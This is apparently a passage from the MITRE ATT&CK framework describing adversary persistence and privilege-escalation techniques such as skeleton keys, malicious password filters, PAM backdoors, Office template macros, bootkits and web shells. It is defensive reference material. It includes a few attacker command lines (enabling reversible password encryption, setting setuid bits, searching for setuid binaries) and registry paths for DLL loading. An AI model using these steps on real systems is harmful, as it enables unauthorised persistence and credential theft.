Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike Upload Malware, this technique focuses on adversaries implanting an image in a registry within a victim's environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.

A tool has been developed to facilitate planting backdoors in cloud container images. If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a Web Shell.

T1556 - Modify Authentication Process

Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using Valid Accounts.

Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.

.001 - Domain Controller Authentication

Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts.

Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user's account and/or credentials (ex: Skeleton Key). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.

.002 - Password Filter DLL

Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated.

Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.

.003 - Pluggable Authentication Modules

Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is `pam_unix.so`, which retrieves, sets, and verifies account authentication information in `/etc/passwd` and `/etc/shadow`.

Adversaries may modify components of the PAM system to create backdoors. PAM components, such as `pam_unix.so`, can be patched to accept arbitrary adversary supplied values as legitimate credentials.

Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.

.004 - Network Device Authentication

Adversaries may use Patch System Image to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.

Modify System Image may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.

.005 - Reversible Encryption

An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The `AllowReversiblePasswordEncryption` property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.

If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:

1. Encrypted password (`G$RADIUSCHAP`) from the Active Directory user-structure `userParameters`
2. 16 byte randomly-generated value (`G$RADIUSCHAPKEY`) also from `userParameters`
3. Global LSA secret (`G$MSRADIUSCHAPKEY`)
4. Static key hardcoded in the Remote Access Sub-authentication DLL (`RASSFM.DLL`)

With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.

An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory PowerShell module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher.[4] In PowerShell, an adversary may make associated changes to user settings using commands similar to `Set-ADUser -AllowReversiblePasswordEncryption $true`.

.006 - Multi-Factor Authentication

Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.

Once adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as Multi-Factor Authentication Request Generation, adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.

For example, modifying the Windows hosts file (`C:\windows\system32\drivers\etc\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a "fail open" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA.

Depending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.

.007 - Hybrid Identity

Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts.

Many organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD:

- Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud
- Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory
- Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD

AD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users' identity and privileges.

By modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials. In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.

In some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.

T1137 - Office Application Startup

Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.

A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page. These persistence mechanisms can work within Outlook or be used through Office 365.

.001 - Office Template Macros

Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. [1]

Office Visual Basic for Applications (VBA) macros [2] can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. Shared templates may also be stored and pulled from remote locations.

Word Normal.dotm location:

`C:\Users\<username>\AppData\Roaming\Microsoft\Templates\Normal.dotm`

Excel Personal.xlsb location:

`C:\Users\<username>\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB`

Adversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under `C:\Program Files (x86)\Microsoft Office\root\Office16\`, or by modifying the `GlobalDotName` registry key. By modifying the `GlobalDotName` registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.

An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.

.002 - Office Test

Adversaries may abuse the Microsoft Office "Office Test" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.

There exist user and global Registry keys for the Office Test feature:

- HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf
- HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf

Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.

.003 - Outlook Forms

Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.

Once malicious forms have been added to the user's mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.

.004 - Outlook Home Page

Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.

Once malicious home pages have been added to the user's mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.

.005 - Outlook Rules

Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.

Once malicious rules have been added to the user's mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.

.006 - Add-ins

Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins.

Add-ins can be used to obtain persistence because they can be set to execute code when an Office application starts.

T1542 - Pre-OS Boot

Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.

Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.

.001 - System Firmware
Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.

System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.

.002 - Component Firmware
Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components/devices that may not have the same capability or level of integrity checking.

Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.

.003 – Bootkit
Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.

The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.

.004 – ROMMONkit
Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect.

ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to TFTP Boot, an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.

.005 - TFTP Boot

Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.

Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with Modify System Image to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to ROMMONkit and may result in the network device running a modified image.

T1053 - Scheduled Task/Job

Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.

Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to System Binary Proxy Execution, adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.

.002 – At

Adversaries may abuse the at utility to perform task scheduling for initial or recurring execution of malicious code. The at utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of Scheduled Task's schtasks in Windows environments, using at requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.

On Linux and macOS, at may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke at. If the at.deny exists and is empty, global use of at is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use at.

Adversaries may use at to execute programs at system startup or on a scheduled basis for Persistence. at can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).

In Linux environments, adversaries may also abuse at to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, at may also be used for Privilege Escalation if the binary is allowed to run as superuser via sudo.

.003 – Cron
Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.[1] The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.

An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for Persistence.

.005 - Scheduled Task
Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.

The deprecated at utility could also be abused by adversaries (ex: At), though `at.exe` can not access tasks created with `schtasks` or the Control Panel.

An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.

Adversaries may also create "hidden" scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions). Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.

.006 - Systemd Timers
Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension `.timer` that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to Cron in Linux environments. Systemd timers may be activated remotely via the `systemctl` command line utility, which operates over SSH.

Each `.timer` file must have a corresponding `.service` file with the same name, e.g., `example.timer` and `example.service`. `.service` files are Systemd Service unit files that are managed by the systemd system and service manager. Privileged timers are written to `/etc/systemd/system/` and `/usr/lib/systemd/system` while user level is written to `~/.config/systemd/user/`.

An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence. Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.

.007 - Container Orchestration Job
Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.

In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks. An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.

T1505 - Server Software Component
Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.

.001 - SQL Stored Procedures
Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).

Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers. To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.

Microsoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.). Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.

.002 - Transport Agent
Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails. Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks.

Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events. Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary.

.003 - Web Shell

Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.

In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. China Chopper Web shell client).

.004 - IIS Components

Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: `Get{Extension/Filter}Version`, `Http{Extension/Filter}Proc`, and (optionally) `Terminate{Extension/Filter}`. IIS modules may also be installed to extend IIS web servers.

Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.

Adversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports `RegisterModule`, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.

.005 - Terminal Services DLL

Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.

Windows Services that are run as a "generic" process (ex: `svchost.exe`) load the service's DLL file, the location of which is stored in a Registry entry named `ServiceDll`. The `termsrv.dll` file, typically stored in `%SystemRoot%\System32\`, is the default ServiceDll value for Terminal Services in `HKLM\System\CurrentControlSet\services\TermService\Parameters\`.

Adversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts. Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal `termsrv.dll` functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent Remote Desktop Protocol sessions by either patching the termsrv.dll file or modifying the ServiceDll value to point to a DLL that provides increased RDP functionality. On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.

T1205 - Traffic Signaling

Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. Port Knocking), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

On network devices, adversaries may use crafted packets to enable Network Device Authentication for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives. To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage Patch System Image due to the monolithic nature of the architecture.

Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.

.001 - Port Knocking

Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

.002 - Socket Filters

Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the libpcap library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.

To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria. Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with Protocol Tunneling.

Filters can be installed on any Unix-like platform with libpcap installed or on Windows hosts using Winpcap. Adversaries may use either libpcap with pcap_setfilter or the standard library function setsockopt with SO_ATTACH_FILTER options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.

T1078 - Valid Accounts

Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.

The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.

.001 - Default Accounts

Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.

Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen Private Keys or credential materials to legitimately connect to remote environments via Remote Services.

.002 - Domain Accounts

Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.

Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as OS Credential Dumping or password reuse, allowing access to privileged resources of the domain.

.003 - Local Accounts

Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

Local Accounts may also be abused to elevate privileges and harvest credentials through OS Credential Dumping. Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.

.004 - Cloud Accounts

Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.

Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a Trusted Relationship. Similar to Domain Accounts, compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.

Once a cloud account is compromised, an adversary may perform Account Manipulation - for example, by adding Additional Cloud Roles - to maintain persistence and potentially escalate their privileges.

Privilege Escalation

The adversary is trying to gain higher-level permissions.

Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include:

- SYSTEM/root level
- local administrator
- user account with admin-like access
- user accounts with access to specific system or perform specific function

These techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context.

Techniques

Techniques represent 'how' an adversary achieves a tactical goal by performing an action. For example, an adversary may dump credentials to achieve credential access.

T1548 - Abuse Elevation Control Mechanism

Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization must be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.

.001 - Setuid and Setgid

An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.

Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. Linux and Mac File and Directory Permissions Modification). The `chmod` command can set these bits with bitmasking, `chmod 4777 [file]` or via shorthand naming, `chmod u+s [file]`. This will enable the setuid bit. To enable the setgit bit, `chmod 2775` and `chmod g+s` can be used.

Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future. This abuse is often part of a "shell escape" or other actions to bypass an execution environment with restricted permissions.

Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. File and Directory Discovery). The setuid and setguid bits are indicated with an "s" instead of an "x" when viewing a file's attributes via `ls -l`. The `find` command can also be used to search for such files. For example, `find / -perm +4000 2>/dev/null` can be used to find files with setuid set and `find / -perm +2000 2>/dev/null` may be used for setgid. Binaries that have these bits set may then be abused by adversaries.

.002 - Bypass User Account Control

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.

